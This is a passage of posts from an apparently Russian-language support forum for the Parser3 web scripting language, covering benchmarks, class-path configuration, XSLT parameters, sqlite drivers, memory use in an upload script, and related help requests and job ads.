Time per request:       69.641 [ms] (mean, across all concurrent requests)\
\
С кэшированием\
Requests per second:    29.47 [#/sec] (mean)\
Time per request:       339.375 [ms] (mean)\
Time per request:       33.938 [ms] (mean, across all concurrent requests)\
\
А вот что было бы, если бы эту готовую страницу отдавал сервер, не привлекая парсер\
\
Requests per second:    321.61 [#/sec] (mean)\
Time per request:       31.094 [ms] (mean)\
Time per request:       3.109 [ms] (mean, across all concurrent requests)\
\
Вот что меня смущает."
"73796","Спасибо, почитаю про это"
"73797","Всё верно. Сервер у вас слабее, а на запуск парсерного бинарника требуется много процессорного времени. При большом количестве конкурирующих запросов это дорого.\
\
Попробуйте считать время внутри парсера. От самого начала auto.p до последнего метода, который возвращает результат пользователю.\
Вот здесь и будет видна разница с кешем и без. И, скорее всего, она будет сильно больше, чем в два раза (как показал ваш тест с ab).\
\
А если хотите, чтобы парсер пулемётом отдавал \"статические\" (закешированные) html на не очень мощном сервере -- попробуйте модуль парсера для Apache, ab вернёт позитивные результаты:-)"
"73798","Параллельно я собирал статистику с помощью CachePage, она получилась практически такой же. Средние не считал, но общий уровень - 30 мс и 60 мс  для страниц с кэшем и без"
"73799","Ну вот, неплохие цифры. Всё остальное время процессор и диск занимаются инициализацией парсера. В случае с модулем парсер будет в памяти."
"73800",">У нас сервер послабее. \
\
Это мягко сказано, раз он у вас статику отдает медленнее, чем наш динамику. :)\
\
>без кеширования и с кэшированием.\
\
Маловата разница. Обычно она не меньше порядка. У вас правильно ли подключаются файлы при использовании ^cache? То есть\
\
[code]@main[]\
\
^cache ... {\
  ^use[class.p]\
}\
[/code]\
\
,а не \
\
[code]@USE\
class.p\
\
@main[]\
^cache ...{\
\
}[/code]?\
\
Ну и на вашем сервере похоже логичнее с \"-c 1\" ab запускать. :)"
"73801","В [b]index.html[/b] формирую XSLT-параметры sFrom и sTo:\
\
[code]\
...\
$fFile[^fFile_mui.transform[index.xsl][\
	$.sFrom[$hFormFields.from]\
	$.sTo[$hFormFields.to]\
]]\
...\
[/code]\
\
В [b]index.xsl[/b] хочу использовать sFrom и sTo в качестве значения XPath-выражения\
\
[code]\
...\
<xsl:template match=\"id\">\
	<xsl:value-of select=\"$sFrom\" />\
	<xsl:value-of select=\"$sTo\" />\
</tr>\
</xsl:template>\
...\
[/code]\
\
[b]Вопрос:[/b] Как передать параметры в XSLT-преобразование в качестве значений XPath-выражения?"
"73802","Можно передать имя элемента, а дальше:\
[code]<xsl:value-of select=\"*[name() = $sFrom]\" />[/code]\
Если путь сложный, из нескольких уровней, то можно написать рекурсивный шаблон.\
Но как-то это некрасиво.\
Может опишите задачу более подробно?"
"73803","Нужен программист на Parcer для доработки блоков существующего сайта. www.nahalyavu.com Надо добавить Календарь Событий, Форум, Аукцион и прочие блоки. \
\
Есть краткое описание и дизайн. Развёрнутого Технического Задания на все блоки пока нет, но будет писаться по мере выполнения блоков. \
\
Программист также должен знать MySql, уметь работать с базами данных. В идеале, хотелось бы посмотреть код и портфолио. \
\
Хочу понимать расценки. Объём работы примерно на месяц. Объём работ оценил программист который начинал делать сайт. Программист который начинал делать готов всё объяснить. Оценка достоверная."
"73804","А как связаться с вами?"
"73805","Пишите на alexrosl@hotmail.com"
"73806","Уважаемые форумчане, я уже шестой день юзаю справки, яндекс и этот форум, но так и не нашёл чёткого ответа. Знаю, что вопрос может показаться глупым, но ответ на него я так и не нашёл... Помогите пожалуйста...\
\
[i]Проблема:[/i]\
На локальном компе и на сервере не могу указать путь к классам.\
\
[i]Порядок действий на локалке:[/i]\
	1.Создаю папку [b]classes[/b] на одном уровне с [b]www[/b], помещаю какой-нибудь класс.\
	2.Пишу [b]SetEnv HTTP_PARSER_ROOT_CONFIG /usr/local/parser3/auto.p[/b] в .htaccess.\
	3.В [b]auto.p[/b] (конфигурационный) пишу:\
[code]$CLASS_PATH[/home/localhost/classes/][/code]\
перед\
[code]@auto[][/code]\
	4.И, соответственно, @USE прописываю.\
\
Денвер не воспринимает этих действий и корневой папкой остаётся:\
Z:\\home\\localhost\\www\
Если в этой директории создаю классы, то всё работае.\
\
Что я неверно делаю? Как исправить ситуацию?\
Уже перепробовал сотни вариантов, намучился с подключением классов..."
"73807","http://www.parser.ru/docs/lang/app1.htm\
[quote]\
Для доступа к файлам и каталогам в Parser можно использовать абсолютный или относительный путь. \
\
Абсолютный путь начинается слешем, а файл ищется от корня веб-пространства. Файл по относительному пути ищется от каталога, в котором находится запрошенный документ.\
[/quote]"
"73808","Миша, это всё я читал уже не один раз...\
Не прёт..."
"73809","где сообщение об ошибке?"
"73810","[code]Z:/home/localhost/www/pf/templet/pfTemple.p\
\
read failed: No such file or directory (2), actual filename 'Z:/home/localhost/www/pf/templet/pfTemple.p'[/code]\
\
...Вот такое сообщение, к примеру.\
На сколько я понимаю конфигурационный файл не воспринимается...?"
"73811","1. проверьте, что ваш конфигурационный файл находится и выполняется. для этого в метод @auto[] в нем временно впишите ^throw[;1]\
2. проверьте что у вас в $CLASS_PATH при выполнении корневого auto.p, для этого в его метод @auto[] впишите ^throw[;=$CLASS_PATH=] (если бы CLASS_PATH не был определён, сообщение об ошибке было-бы иным. кто-то определяет $CLASS_PATH. найти предстоит вам. но скорее всего выполняется не тот конфигурационный auto.p, про который вы думаете)\
3. в @auto[] корневого auto.p временно впишите:\
[code]\
$CLASS_PATH[/../classes]\
^use[pf/templet/pfTemple.p]\
[/code]\
\
и посмотрите -- будет-ли ошибка (кстати вы забыли указать что вы пишите в @USE)"
"73812","[code]@USE\
/pf/templet/pfTemple.p[/code]\
\
1.Выполняется: 1\
2.Не определяется, пишет: ==\
3.Ошибка такого типа:\
[code]Unhandled exception in /muka/: \\usr\\local\\parser3/auto.p(120:2): 'pf/templet/pfTemple.p' not found along MAIN:CLASS_PATH [parser.runtime][/code]"
"73813","[b]в конфигурационном auto.p вместо:[/b]\
[code]$CLASS_PATH[^table::create{path\
/home/localhost/classes/\
}][/code]\
напишите:\
[code]$CLASS_PATH[^table::create{path\
# абсолютный путь к папке с классами\
Z:/home/localhost/classes/\
}][/code]\
или\
[code]$CLASS_PATH[^table::create{path\
# относительный путь к папке с классами\
/../classes/\
}][/code]\
\
\
[b]а при подключении класса вместо:[/b]\
[code]@USE\
/pf/templet/pfTemple.p[/code]\
напишите:\
[code]@USE\
pf/templet/pfTemple.p[/code]\
\
-------------------------------------------------------------------------------------------------------------------------------------------\
\
[quote]@USE\
/pf/templet/pfTemple.p[/quote]\
у вас ошибка. прочитайте внимательно [url=\"http://www.parser.ru/docs/lang/opuse.htm\"]документацию[/url], а именно:\
[quote]\
^use[файл] \
\
Оператор позволяет использовать модуль из указанного файла. [b]Если путь к файлу начинается с \"/\"[/b], то считается, что это путь от корня веб-пространства...[/quote]"
"73814","Ничего не выходит...\
Корневая директория автоматом на [b]www[/b] стоит и перед моим путём прописывается ещё раз. Получается, что классы могу запускать, но только из www и её подкаталогов.\
PS ...и на хостинге такая же проблема.\
\
[b]А может это попробовать?[/b]:\
\
[quote]$request:document-root[/дисковый/путь/к/корню/вашего/веб-пространства] \
\
По-умолчанию, $request:document-root равен значению, которое задается в веб-сервере. \
Однако иногда его удобно заменить. [/quote]"
"73815","оно конечно сомнительное, но тем не менее.\
[quote]3.В auto.p (конфигурационный) пишу: \
$CLASS_PATH[/home/localhost/classes/]\
перед \
@auto[][/quote]\
если вы выразились буквально и в этом шаге делаете примерно следующее:\
[code]# ...\
# какой-то код (если конфигурационный auto.p дефолтный,\
# то тут находится тело метода unhandled_exception)\
\
$CLASS_PATH[/../classes/]\
\
@auto[]\
# тело метода auto\
# ...[/code]\
т.е. $CLASS_PATH у вас непосредственно перед методом @auto[], то это не верно.\
\
пусть у вас первые строки конфигурационного auto.p будут следующие (если вы здесь ничего не меняли):\
[code]@conf[filespec][confdir;charsetsdir;sqldriversdir]\
$CLASS_PATH[/../classes/][/code]\
и в auto.p (расположенного в корне веб-пространства) первые строки:\
[code]@USE\
pf/templet/pfTemple.p[/code]\
\
upd: это лишь предположение ;)"
"73816","[quote]если вы выразились буквально и в этом шаге делаете примерно следующее:\
# ...\
# какой-то код (если конфигурационный auto.p дефолтный,\
# то тут находится тело метода unhandled_exception)\
\
$CLASS_PATH[/../classes/]\
\
@auto[]\
# тело метода auto\
# ...\
т.е. $CLASS_PATH у вас непосредственно перед методом @auto[], то это не верно.[/quote]\
\
Да, именно так и было, так в справке написано, пробовал по вашему совету поставить, тоже не работает...\
Очевидно, что я что-то не так делаю, так как эта же проблема и на хостинге...\
\
Есть ещё предположения?"
"73817","Покажите целиком файлы auto.p и .htaccess. Лучше куда-нибудь на файл-хостинг выложить.\
\
И ещё, что показывает $request:document-root, если его не менять в парсерных файлах?"
"73818","[url=\"http://qaim.ru/cgi-bin/v.cgi\"]Это cgi с данными о сервере[/url]\
[url=\"http://qaim.ru/q.rar\"]Это архив с работоспособными параметрами[/url]\
Только из паблик-директории и работает..."
"73819","Из архива не совсем понятно, где находится www?\
\
Эти три файла из www, которая лежит на уровне с classes, так?\
.htaccess\
auto.p\
index.html"
"73820","Всё, что лежит в архиве - из www.\
Так всё работает."
"73821","Да, уже сам увидел.\
Значит по-порядку, возможно повторюсь в советах.\
\
Структура каталогов должна быть такая (будем считать родительской папкой htdocs):\
cgi-bin\
classes\
www -- здесь все файлы, которые доступны через сайт.\
\
В .htaccess:\
[code]Action parsed-html /../cgi-bin/parser3.cgi\
SetEnv HTTP_PARSER_ROOT_CONFIG /../cgi-bin/auto.p -- эта строка не обязательна (в linux по крайней мере)[/code]\
В auto.p:\
[code]$CLASS_PATH[/../classes/][/code]\
В index.html\
[code]@USE\
Detect.p[/code]"
"73822","В auto.p (слеш на конце не нужен!): \
[code]$CLASS_PATH[/../classes][/code]"
"73823","Нет, так уже пробовал, не работает.\
Путь автоматом стоит на [b]www[/b], только из неё всё работает..."
"73824","и со слешем и без слеша уже пробовал...\
Да как только не пробовал, уже почти неделю мучаюсь =)"
"73825","Что именно не работает, класс не находит?\
Какой путь автоматом на www?"
"73826","Хм... Либо что-то банально не так прописано, либо даже не знаю.\
Если дадите доступ к серверу, могу посмотреть.\
Можно почту для связи?"
"73827","у вас должно быть примерно следующее дерево (относительно /home/host1213474/qaim.ru/htdocs/)\
[code]\
/htdocs\
 |- /cgi-bin\
 |   |- дополнительные файлы и папки (например, лог-файл parser3.log, папка lib и т.д.)\
 |   |- auto.p (конфигурационный auto.p с методом @conf)\
 |   |- parser.cgi\
 |\
 |- /classes (папка с классами)\
 |   |- Detect.p\
 |\
 |- /www (корень веб-пространства)\
     |- .htaccess\
     |- auto.p\
     |- index.html\
[/code]\
[b]1[/b]. в конфигурационный auto.p добавьте $CLASS_PATH[/../classes] (как я вам писал выше - после строки с объявлением метода @conf):\
[code]@conf[filespec][confdir;charsetsdir;sqldriversdir]\
$CLASS_PATH[/../classes][/code]\
[b]2[/b]. в файл auto.p, который находится в корне веб-пространства, добавьте:\
[code]@USE\
Detect.p[/code]\
[b]3[/b]. в файл index.html, который находится в корне веб-пространства, добавьте:\
[code]@main[]\
$hPlatform[^Detect:os[$env:HTTP_USER_AGENT]]\
$hBrowser[^Detect:agent[$env:HTTP_USER_AGENT]]\
\
OS: $hPlatform.name<br />\
Browser: $hBrowser.name ${hBrowser.ver}.${hBrowser.subver}[/code]\
\
[b]повторите по шагам и напишите результат[/b]\
\
[b]UPD[/b]: во 2 и 3 шагах файлы auto.p и index.html должны содержать [b]только[/b] тот код, который написан"
"73828","Наверно, больше никого не буду отвлекать, - и так уже пост большой...\
[b]Кто сталкивался с этой проблемой, напишите, пожалуйста, как справились...[/b]\
\
[i][b]Спасибо Misha v.3, onlyyours и Vint за помощь и время![/b][/i]"
"73829","А вот похоже и подвох нашёлся! =)\
\
[b]/cgi-bin[/b] не в [b]/htdocs[/b], а в [b]/www[/b] сидит!\
и на локалхосте тоже =)"
"73830","что такая иерархия директорий, которую я вам указал, будет работать только в том случае если у вашего хоста объявлена директива [i]ScriptAlias[/i] для папки /home/host1213474/qaim.ru/htdocs/cgi-bin.\
\
если нет, то размещаете парсер в директории /home/host1213474/qaim.ru/htdocs/www/cgi-bin (как у вас было до этого), а в конфигурационном auto.p указываете $CLASS_PATH[/../../classes]"
"73831","1 и 2: вы не привели полный текст сообщений об ошибках (в них самое главное для нас -- _пути_)\
\
3. указан путь НЕ к корневому auto.p. судя по вашим рассказам в пути обязан фигурировать www. вы точно понимаете разницу между _конфигурационным_ и _корневым_ auto.p? это два разных файла и лежат они в разных местах."
"73832","Пытаюсь поднять парсер на хостинге sweb.ru\
Все хорошо, пока не доходит дело до работы с sql. По определенным причинам пока хочется ограничиться sqlite. Установил драйвер, однако постоянно получаю ошибки.\
Сейчас для тестирования в конфигурационном auto.p указано:\
[code]\
$SQL.connect-string[sqlite://:memory:]\
[/code]\
тестовый файл при обращении выдает такие сообщения относительно sqlite:\
[code]\
$SQL:\
...\
sqlite | $sqldriversdir/libparser3sqlite.so (74748 Bytes) | sqlite3.so (relative path. checkout is impossible)\
...[/code]\
и \
[code]Working with SQL\
^int:sql{SELECT 2+2}: [color=#ff0000]Problems with SQL operations.[/color] Probably SQL drivers not found. \
Error message:\
\
driver failed to initialize client library 'sqlite3.so', sqlite3.so: cannot open shared object file: No such file or directory \
$sqldriversdir/libparser3sqlite.so[/code]\
\
Как это лечится?"
"73833","собственно если эта клиентская библиотека уже есть на хостинге -- надо узнать путь к ней и прописать его в конфигурационном auto.p\
\
если её нет -- надо поставить (найти для вашей ОС, скопировать в binary mode, прописать до неё путь)"
"73834","Благодарю\
Скачал библиотеку с сайта sqlite, распаковал рядом с файлом драйвера. Не заработало.\
После того, как указал в конфигурационном  auto.p\
[code]\
sqlite  $sqldriversdir/libparser3sqlite.so      $sqldriversdir/sqlite3.so\
[/code]\
все, похоже, заработало.\
Не нашел сходу нигде в документации, откуда отсчитывался относительный путь к sqlite3.so до того, как я его уточнил. Почему-то казалось, что логичным было бы отсчитывать от расположения файла драйвера."
"73836","Вот уж почти год прошёл с прошлого релиза 3.4\
\
Ждать работы с memcache? :)\
\
Думаю, многим будет интересно, какие нововведения планируются в 3.5"
"73837","...а там глядишь и до релиза недолго.\
\
но работа с memcached там сделана не будет. сборка либы для работы с memcached на win32 (в VS) -- тот ещё траходром."
"73840","Только знакомлюсь с парсером, поэтому решил просмотреть код тестового файла, и с удивлением заметил в строках 610 и 611 два идущих подряд вызова ^memory:compact[]\
Это имеет какое-то практическое значение? Зачем это могло быть сделано?"
"73841","Здравствуйте. Есть ли возможность получить имена всех листов в кнмке excel работая через odbc драйвер?"
"73842","по работе возникла след. задачка - приходится отсматривать кучу новостей и сохранять нужное - как текст, так и скриншот (многие издания закрывают доступ к архиву - не успел сохранить в день выхода - пиши пропало).\
\
Сделал в Google Chrome расширение, которое рендерит открытую страницу в PNG и upload'ит её через HTTP POST. На сервер бросил следующий файлик:[code]@main[]\
\
$base64[$form:[data]]\
$ext[$form:type]\
\
#отпиливаем от начала строки текст \"data:image/png;base64,\"\
^if($ext eq \"png\"){$base64[^base64.mid(22)]}\
^if($ext eq \"jpg\"){$base64[^base64.mid(23)]}\
\
^memory:compact[]\
\
# преобразуем base64 в файл:\
$decoded[^file::base64[$base64]]\
$base64[]\
\
^memory:compact[]\
\
# отправляем на Twitpic.com:\
^mail:send[\
      $.from[xxx <xxx@bougakov.com>]\
      $.to[yyy@twitpic.com]\
      $.subject[$form:imageUrl]\
      $.text[ ]\
			$.file[\
			    $.value[${decoded}]\
			    $.name[temp.${ext}]\
			]\
\
]\
\
$result[$form:imageUrl][/code]Проблема в том, что так мне удаётся сохранять небольшие странички, экрана на три-четыре. Чуть страница больше, и PNG-снимок становится больше пары мегабайт, начинаю ловить\
\
[i][Fri Nov  5 22:07:56 2010] [69528] out of memory: failed to allocate clean 2145452 bytes. heap_used=25513984, heap_free=16441344, bytes_since_gc=2148268, total_bytes=13221816 [uri=/upload_screenshot.htm, method=POST, cl=2270737]\
[Fri Nov  5 22:27:14 2010] [72800] out of memory: failed to allocate clean 8449579 bytes. heap_used=27373568, heap_free=507904, bytes_since_gc=35108232, total_bytes=35108232 [uri=/upload_screenshot.htm, method=POST, cl=9021091][/i]\
\
Где бы ещё пооптимизировать, а? \
\
Переписывать всё на Perl неохота - его я забыл ещё сильнее, чем Парсер..."
"73843","compact в первом месте никакого смысла не имеет, т.к. файл из form освобождён не будет (никогда), а переменную base64 вы ещё не обнулили.\
\
но вообще путей оптимизации парсерного кода тут не видно, разве что формировать body письма самостоятельно, а то сначала файл декодируем, потом -- кодируем.\
\
и какая используется версия парсера? если не 3.4.0, то стоит обновить, т.к. она [URL=/forum/?id=70358]лучше работает с памятью[/URL] (хотя в данном случае это вряд-ли поможет, т.к. переменных тут не много, но они большие и ограничение на используемую память стоит кажется достаточно суровое)"
"73844","т.к. это не принципиальные мелочи, которые тем не менее _иногда_ позволяют освободить чуть больше памяти (очень приблизительное объяснение: переменная A ссылалась на переменную B, которая попадает под \"очистку\". во время первого compact значение переменной A не может быть \"очищено\" из-за этой ссылки, но после его выполнения эта пропадает, и второй compact может \"собрать\" и эту память).\
\
памяти действительно освобождается лишь немногим больше, т.к. объяснение очень-очень приблизительное и используемая библиотека в большинстве случаев сама прекрасно обнаруживает и решает описанные сценарии. не может она разобраться только с циклическими ссылками, и в этом случае помогает использование нескольких compact подряд, но \"при нормальных условиях\" циклических ссылок в коде присутствует совсем немного.\
\
рекомендую вообще забыть про compact, т.к. он довольно медленный, и вспоминать про него только при получении ошибок о нехватке памяти в очень узких местах, таких как обработка большого количества данных в больших циклах, перед transform и после работы с _файлами_ (загрузили, закодировали, сохранили, память больше не нужна и её можно собрать).\
\
но чтобы compact нормально работал нужно обязательно использовать локальные переменные."
"73847","до 3.4  обновился, не полегчало.\
\
Переписал на Perl, памяти теперь почти всегда хватает:[code]#!/usr/bin/perl -w  \
 \
use strict;  \
use CGI;  \
use CGI::Carp qw ( fatalsToBrowser );  \
use MIME::Base64;\
use Mail::Send;\
 \
$CGI::POST_MAX = 1024 * 19000;  \
 \
my $query = new CGI;  \
my $iurl = $query->param(\"imageUrl\");\
my $data = $query->param(\"data\");  \
my $type = $query->param(\"type\");\
 \
# \"data:image/png;base64,\" = 22 bytes ;\
$data = substr($data, 22);\
$data = decode_base64( $data );\
\
my $temp = \"/xxxxx/public_html/cgi-bin/screenshot/temp.\" . $type ;\
\
open  ( UPLOADFILE, \">\" . $temp ) or die \"$!\";  \
binmode UPLOADFILE;  \
print   UPLOADFILE  $data ;\
close   UPLOADFILE;\
\
undef $data ;\
\
use MIME::Lite;\
\
my $msg = MIME::Lite->new(\
    From    => 'xxxxx',\
    To      => 'yyyyyyyyy@twitpic.com',\
    Subject => ${iurl} ,\
    Type    => 'multipart/mixed',\
);\
\
$msg->attach(\
    Type     => 'TEXT',\
    Data     => ${iurl} ,\
);\
\
$msg->attach(\
    Type     => 'image/png',\
    Path     => 'temp.png',\
    Filename => ${temp} ,\
);\
\
$msg->send;\
\
print $query->header ( );  \
\
print <<end_html;\
$iurl\
end_html\
\
unlink( $temp );\
\
#EOF[/code]И вот результат [url=\"http://www.twitpic.com/34h9rf/full\"]http://www.twitpic.com/34h9rf/full[/url]"
"73848","Увы, работа с памятью не самая сильная сторона парсера (есть планы уделить этому внимание в 3.5), но в остальном написанное на парсере выглядит намного правильнее, а необходимость сохранения во временный файл в perl - вообще ужас-ужас. Во-первых, может прийди какой-нибудь сигнал в процессе, и файл не сотрется. Во-вторых, имя файла постоянно и при случайном быстром репосте может получиться не очень красивая картина."
"73849","1. Не придёт, поэтому ни семафоров, ни чего-то подобного городить не стал\
\
2. промежуточный файл - да, зло. Просто мне пока лень читать доки с CPAN, чтобы сообразить, как обойтись без него. \
\
Обычно я нахожу решение, потом пишу в support хостинга, чтобы мне поставили недостающие модули, жду час - и всё по кругу. В общем, ситуация стара как мир - некрасивость решения очевидна, но времени полировать - нету."
"73850","SIGPIPE вполне может быть, особенно на таких больших файлах (легко успеть нажать stop).\
Не знаю как в PERL, но по умолчанию процесс пристреливается.\
\
http://en.wikipedia.org/wiki/SIGPIPE\
\
Поэтому лучше удалять файл сразу после отправки письма, до выдачи ответа веб-серверу."
"73854","а можно например ваш скайп узнать?)"
"73855","Столкнулся с пролемой в работе парсера на fedore 14 (32 и 64 ос).\
Если парсерные скрипты в дос кодировке (не в юникс), то парсер не может их корректно отпарсить, чтобы выполнить. Парсер версия 3.4.0.\
Говорят что и на федоре 13-й есть похожие проблемы, но воспроизвести мне не получилось. Получилось сделать bug.html, кторый ломается на 32-х разрядной федоре, но при этом работает на 64-разрядной (но другие куски кода на 64-разрядной ведут себя неадекватно). Вставка лишнего энера или удаление лишнего символа может как починить код, так и словать его. Вариант заменить виндовые энеры на юниксовые не предлагать - это полумера.  Хотелось бы понять причину возникающей проблемы. Может стоит как-то более правильно конфигурировать саму ос?"
"73856","[quote]Если парсерные скрипты в дос кодировке (не в юникс), то парсер не может их корректно отпарсить, чтобы выполнить[/quote]\
\
Таблица для поддержки DOS (CP-866) с парсером не поставляются. Почему вы считаете, что он должен их корректно парсить? \
И что значит \"не может их корректно отпарсить\"?\
\
[quote]\
Получилось сделать bug.html, кторый ломается на 32-х разрядной федоре, но при этом работает на 64-разрядной (но другие куски кода на 64-разрядной ведут себя неадекватно).[/quote]\
\
Может стоило его сюда приложить? Вообще при одинаковых настройках в auto.p и 32-х и 64-х битная версия ведут себя совершенно одинаково.\
\
[quote]Хотелось бы понять причину возникающей проблемы. Может стоит как-то более правильно конфигурировать саму ос?[/quote]\
\
Работа парсера не зависит от настроек кодировок в OS, он пользуется только своими библиотеками. Если хотите понять причину, надо перестать писать письма в стиле \"у меня стук\".\
Нужны примеры кода (можно ссылками, если кодировки имеют значение), точные сообщения об ошибках, параметры auto.p, относящиеся к кодировке ($request:charset и $response:charset)."
"73857","http://all4bug.mcn.ru/bug2.html\
/auto.p\
[code]\
########################################\
@auto[]\
\
#$connect_string[mysql://user:wwwwwwww@localhost:3306/dbbbbbbb?charset=cp1251]\
$sTemp[^env:SERVER_NAME.lower[]]\
^if(^sTemp.right(14) eq \"www.ssssite.ru\"){\
	$connect_string[mysql://YYYYYYYYYY:XXXXXXXXXXXX@hhhhhhhhh:3306/dbbbbbbbb?charset=cp1251]\
}{\
	$connect_string[mysql://YYYYYYYYYY:XXXXXXXXXXX@sssssss.ru:3306/dbbbbbbb?charset=cp1251]\
}\
\
\
$siteUrl[http://$env:SERVER_NAME^if(def $env:SERVER_PORT && $env:SERVER_PORT ne 80){:$env:SERVER_PORT}] \
$siteMail1[managers@mmm.ru]\
$companyName[MMM] \
$alt_MMM[MMM: Internet Service Provider. ISP. ADSL. Hosting. Colocation. IP-телефония]\
\
$guestPWD[1]\
\
$hLOGISTICS[\
	$.1[\
		$.name[Самовывоз]\
		$.caption[Самовывоз]\
	]\
	$.2[\
		$.name[ДоставкаКурьером]\
		$.caption[Доставка курьером]\
	]\
	$.3[\
		$.name[ДоставкаАвто]\
		$.caption[Доставка авто]\
	]\
	$.4[\
		$.name[ДоставкаТК]\
		$.caption[Доставка ТК]\
	]\
]\
\
@main[]\
sdfdfdf\
\
[/code]\
\
/bug2.html\
[code]\
@x2[]\
aaaa\
[/code]\
\
получаем оишбку на ровном месте:\
\
hLOGISTICS\
$.name outside of $name[...]\
если удалить строчку\
\
$alt_MMM[MMM: Internet Service Provider. ISP. ADSL. Hosting. Colocation. IP-телефония]\
то ошибка изчезает. Аналогично лечится если удалить несколько элементов в хеше.\
Я возможно не так выразился относительно Dos (пусть будет Windows - я имел виду текст, где энтер двухбайтный 0D0A).\
\
парсерный auto.p\
[code]@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
Эта проблема проявляется по-разному:\
Например, \"WHERE\
x=1^;\" превращается в \"WHERE; x=1;\" (энтер поменялся на точку с запятой - Sql запрос выпал в ошибку)\
либо в одном классе один метод вызывается, а в следующей строчке дрeгой метод типа не найден, потому что его имя парсер не смог найти (распарсить) в парсерном коде (простите за тофтологию).\
Как-то так."
"73860","Мда, автокомплит в браузере - зло. :)\
\
По сути - локально проблема не подтверждается. Но по внешним признакам действительно похоже на какой-то баг. Дадите ssh доступ - посмотрим, похоже проблема в конкретной конфигурации. Доступ слать на moko@design.ru.\
Иначе потребуется точная версия OS - будем пробовать воспроизвести проблему, но не факт что это будет быстро."
"73862","http://www.parser.ru/forum/?id=72826\
\
По планам 3.4.1 выйдет до Нового Года и для решения этой проблемы не придется самостоятельно пересобирать парсер."
"73863","В общем, наконец созрел XML шаблонизацию, интересуют книги которые [i]стоит[/i] почитать, которые просто необходимо иметь в качестве справочника. Интересно изучить с азов."
"73864","Имеется готовый сторонний перловый скрипт, через который хочется пропускать данные из формы. Получается, что обратиться к этому скрипту мы можем только как ко внешней команде. Скрипт принимает данные из файла, переданного параметролм, или со стандартного ввода.\
Пока в документации нашел только один способ обратиться ко внешней команде:\
[code]^file::exec[имя файла;env_hash;аргумент1;аргумент2;…] [/code]\
однако при обращении таким образом\
[code]$result[^file::exec[/../../extras/tools/script.pl;;'text.input']][/code]\
все время получаю сообщение об ошибке, что файл text.input не найден. Пробовал класть в одну папку со скриптом, в текущую папку, в корень веб-пространства, указывать относительный и абсолютный путь - безрезультатно. А в идеале хотелось бы вообще направлять текст из переменной на стандартный ввод скрипту.\
Это возможно? Если да, то как это сделать, и что я делаю неправильно при передаче данных в файле?"
"73865","http://www.parser.ru/docs/lang/filecgiexec.htm\
[quote]\
...\
env_hash - хеш, в котором могут задаваться\
...\
- ключ stdin, содержащая текст, передаваемый исполняемому скрипту в стандартном потоке ввода;  \
...\
[/quote]"
"73866","Компания ищет специалиста со знанием языка Парсер для технической поддержки существующего сайта.\
Первый этап работы - корректировка мелких ошибок сайта\
Второй этап работы - тюнинг внешнего вида, небольшой редизайн\
Третий этап работы - создание нескольких дополнительных разделов на сайте\
Четвертый этап - техническая поддержка на проектной основе (если есть ошибка или дополнение, обсуждаем стоимость и приступаем к работе).\
Обращайтесь - shamin@polylog.ru"
"73867","Точно, работает!\
\
Дык читал же доку, но слона-то не приметил :(\
А все-таки как передать параметром имя входного файла? Это, скорее всего, уже не понадобится, но просто чтобы знать. Почему он может быть все время не найден?"
"73868","ведь вы какой файл создавали? кажется \"text.input\". а какой имя файла передавали? судя по написанному \"'text.input'\".\
\
и вы ещё не сообщили где вы его создавали (то, что у парсера пути, начинающиеся с '/' считаются от document_root надеюсь вы прочитали) и где пытались искать из скрипта."
"73869","То, откуда отсчитываются пути, я прочитал, и поэтому очень удивился такому сообщению об ошибке, и стал пробовать разместить файл и указать путь по-разному, а вот о значимости кавычек как-то не подумалось.\
Спасибо, буду иметь в виду."
"73870","[url=http://www.books.ru/shop/books/582070]Мангано. XSLT. Сборник рецептов[/url]"
"73871","Прошу прощения, что засыпаю форум простыми вопросами, но только начинаю знакомиться с технологией, и документация не всегда спасает (или я не умею ей пользоваться).\
\
В скрипт приходят данные из формы. Потом я их пропускаю через внешний перловый скрипт для дальнейшей обработки, однако перед этим очень хотелось бы преобразовывать эти данные по принципу ^taint[html]. Проблема в том, что такое преобразование выполняется перед передачей данных в браузер, а способа заставить его выполниться перед отправкой во внешний скрипт я не вижу (то есть мне нужно получить переменную, в которой будет находиться уже преобразованный текст, полученный из поля формы). Разумеется, это можно сделать регулярными выражениями, однако кажется странным реализовывать (пусть даже очень просто) то, что уже реализовано стандартными средствами языка.\
\
Собственно, вопрос: могу ли я выполнить преобразование принудительно, не перед отправкой в браузер а при присваивании переменной, например, или необходимо реализовать его самому?"
"73872","А. Валиков «Технология XSLT»\
М. Кей «XSLT. Справочник программиста»"
"73873","[quote]Проблема в том, что такое преобразование выполняется перед передачей данных в браузер, а способа заставить его выполниться перед отправкой во внешний скрипт я не вижу[/quote]\
\
[code]$z[<html><body></body></html>]\
\
$z[^taint[html][$z]]\
^z.save[zz.txt][/code]\
\
Все прекрасно работает."
"73874","Спасибо, я уже разобрался, просто не успел написать, что вопрос не актуалн.\
И не подошло мне такое преобразование, в моем случае не все эти символы нужно заменять, пришлось-таки реализовывать самому."
"73875","на данный момент имею лишь поверхностное понимание написания грамматики для синтаксического анализатора (ранее не приходилось сталкиваться с этим на практике), в следствие чего прошу не кидаться тухлыми помидорами в мою сторону.\
\
вопрос скорее к разработчикам: насколько реально сделать конвертер из существующего файла грамматики из бизона для Си в антлр для Явы с минимальной работой ручками, либо вообще избежать?\
\
что пробовал:\
1. конвертер с бизона в антлр (версии 2), но он у меня не запустился и с пинками + учитывая то, что он немного out of date.\
2. для этого же конвертера пробовал сделать апдейт с antlr v2 на v3 (текущая), но так-же без результатно.\
\
приму любую информацию по этой теме :)\
\
конечная цель всего этого: получить на выходе файлы грамматики для генерации синтаксического анализатора Парсера в ява-классы."
"73876","\"Само собой\" точно ничего не получится, поскольку часть синтаксиса проверяется в C коде. А какая задача стоит? Именно валидация (не совсем понятно зачем) или например подсветка синтаксиса?"
"73877","хотел как-то это обойти стороной, но действительно \"чуда не будет\". зато будет понимание работы лексера с парсером, хотя я сомневаюсь, что потом мне пригодятся эти знания в будущем, кроме текущей задумки.\
\
пока для начала подсветка синтаксиса. дальше будет видно.\
воплощаю в жизнь свою небольшую \"мечту\" - Eclipse + Parser :)"
"73878","Там есть ссылки и на подсветку."
"73880","У нас есть подсветка для старой версии IDEA. Там есть например ParserLexer.flex, из которого генерится ParserLexer.java. Можем дать вам эти исходники, но при одном условии: что результат вашей работы (если конечно он будет :) будет публично доступен."
"73881","Подскажите, пожалуйста, как возможно из таблицы\
\
[code]$params_values[^oSql-main.table{\
	SELECT\
		gid,\
		pid,\
